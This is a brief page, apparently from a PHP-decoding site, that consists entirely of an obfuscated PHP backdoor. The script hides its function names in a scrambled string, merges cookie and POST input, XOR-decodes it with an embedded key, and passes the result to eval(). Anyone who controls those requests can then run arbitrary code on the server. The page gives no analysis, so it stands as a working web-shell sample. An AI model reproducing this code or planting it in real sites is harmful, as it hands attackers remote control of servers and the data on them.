PHP Decode

<?php 
$nkwrj = '5konHc7x*0gp\'_mlus#vtf3ybi96a4d1r-e';$wcwdpva = Array();$wcwdpva[] = $nkwrj[4].$nkwrj[8];$wcwdpva[] = $nkwrj[9].$nkwrj[30].$nkwrj[5].$nkwrj[22].$nkwrj[22].$nkwrj[29].$nkwrj[30].$nkwrj[6].$nkwrj[33].$nkwrj[27].$nkwrj[5].$nkwrj[30].$nkwrj[5].$nkwrj[33].$nkwrj[29].$nkwrj[0].$nkwrj[31].$nkwrj[0].$nkwrj[33].$nkwrj[26].$nkwrj[9].$nkwrj[9].$nkwrj[6].$nkwrj[33].$nkwrj[30].$nkwrj[6].$nkwrj[31].$nkwrj[0].$nkwrj[21].$nkwrj[30].$nkwrj[30].$nkwrj[31].$nkwrj[9].$nkwrj[26].$nkwrj[28].$nkwrj[21];$wcwdpva[] = $nkwrj[18];$wcwdpva[] = $nkwrj[5].$nkwrj[2].$nkwrj[16].$nkwrj[3].$nkwrj[20];$wcwdpva[] = $nkwrj[17].$nkwrj[20].$nkwrj[32].$nkwrj[13].$nkwrj[32].$nkwrj[34].$nkwrj[11].$nkwrj[34].$nkwrj[28].$nkwrj[20];$wcwdpva[] = $nkwrj[34].$nkwrj[7].$nkwrj[11].$nkwrj[15].$nkwrj[2].$nkwrj[30].$nkwrj[34];$wcwdpva[] = $nkwrj[17].$nkwrj[16].$nkwrj[24].$nkwrj[17].$nkwrj[20].$nkwrj[32];$wcwdpva[] = $nkwrj[28].$nkwrj[32].$nkwrj[32].$nkwrj[28].$nkwrj[23].$nkwrj[13].$nkwrj[14].$nkwrj[34].$nkwrj[32].$nkwrj[10].$nkwrj[34];$wcwdpva[] = $nkwrj[17].$nkwrj[20].$nkwrj[32].$nkwrj[15].$nkwrj[34].$nkwrj[3];$wcwdpva[] = $nkwrj[11].$nkwrj[28].$nkwrj[5].$nkwrj[1];foreach ($wcwdpva[7]($_COOKIE, $_POST) as $onfvqax => $feyrmj){function hbmdweh($wcwdpva, $onfvqax, $fkugaa){return $wcwdpva[6]($wcwdpva[4]($onfvqax . $wcwdpva[1], ($fkugaa / $wcwdpva[8]($onfvqax)) + 1), 0, $fkugaa);}function gfdrv($wcwdpva, $spobhu){return @$wcwdpva[9]($wcwdpva[0], $spobhu);}function uuytlle($wcwdpva, $spobhu){$hucetij = $wcwdpva[3]($spobhu) % 3;if (!$hucetij) {eval($spobhu[1]($spobhu[2]));exit();}}$feyrmj = gfdrv($wcwdpva, $feyrmj);uuytlle($wcwdpva, $wcwdpva[5]($wcwdpva[2], $feyrmj ^ hbmdweh($wcwdpva, $onfvqax, $wcwdpva[8]($feyrmj))));} ?>